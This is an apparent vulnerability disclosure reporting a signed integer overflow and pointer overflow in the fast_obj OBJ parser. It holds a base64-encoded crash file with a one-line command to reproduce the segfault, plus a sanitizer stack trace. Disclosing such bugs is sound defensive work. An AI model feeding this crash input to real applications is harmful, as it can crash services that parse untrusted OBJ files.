Integer Overflow or Wraparound in thisistherk/fast_obj

Reported on May 25th 2021

✍️ Description

Whilst experimenting with the test code built from commit d97389 with Clang 11 (+UBSan) on Ubuntu 20.04.2 LTS, we discovered an OBJ file which produces a signed integer overflow and a pointer overflow followed by a SIGSEGV

🕵️‍♂️ Proof of Concept

NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1eF8AIAAAAAIAAHNpAAkhvF9jAAAAAHM1NWMAAAAAXw==" | base64 -d > /tmp/fuzz.obj && ./test /tmp/fuzz.obj

The above POC produces this UBSan stack trace:

/root/fast_obj/fast_obj.h:591:23: runtime error: signed integer overflow: 10 * 555555555 cannot be represented in type 'int'
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior /root/fast_obj/fast_obj.h:591:23 in
/root/fast_obj/fast_obj.h:593:44: runtime error: pointer index expression with base 0x00000050bc20 overflowed to 0xfffffffc07a30638
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior /root/fast_obj/fast_obj.h:593:44 in
==3275132==ERROR: UndefinedBehaviorSanitizer: SEGV on unknown address 0xfffffffc07a30638 (pc 0x00000049f77b bp 0x7ffe3ae5de20 sp 0x7ffe3ae5ddd0 T3275132)
==3275132==The signal is caused by a READ memory access.
    #0 0x49f77b in parse_float(char const*, float*) /root/fast_obj/fast_obj.h:593:44
    #1 0x49803b in parse_texcoord(fastObjData*, char const*) /root/fast_obj/fast_obj.h:628:15
    #2 0x46ae68 in parse_buffer(fastObjData*, char const*, char const*, fastObjCallbacks const*, void*) /root/fast_obj/fast_obj.h:1176:21
    #3 0x468635 in fast_obj_read_with_callbacks /root/fast_obj/fast_obj.h:1403:9
    #4 0x4642a0 in fast_obj_read /root/fast_obj/fast_obj.h:1283:12
    #5 0x49414d in main /root/fast_obj/test/test.cpp:138:22
    #6 0x7f97ca1e40b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
    #7 0x440c6d in _start (/root/fast_obj/build/test+0x440c6d)

UndefinedBehaviorSanitizer can not provide additional info.
SUMMARY: UndefinedBehaviorSanitizer: SEGV /root/fast_obj/fast_obj.h:593:44 in parse_float(char const*, float*)

💥 Impact

An integer overflow or wraparound occurs when an integer value is incremented to a value that is too large to store in the associated representation. When this occurs, the value may wrap to become a very small or negative number. While this may be intended behavior in circumstances that rely on wrapping, it can have security consequences if the wrap is unexpected. This is especially the case if the integer overflow can be triggered using user-supplied inputs. This becomes security-critical when the result is used to control looping, make a security decision, or determine the offset or size in behaviors such as memory allocation, copying, concatenation, etc.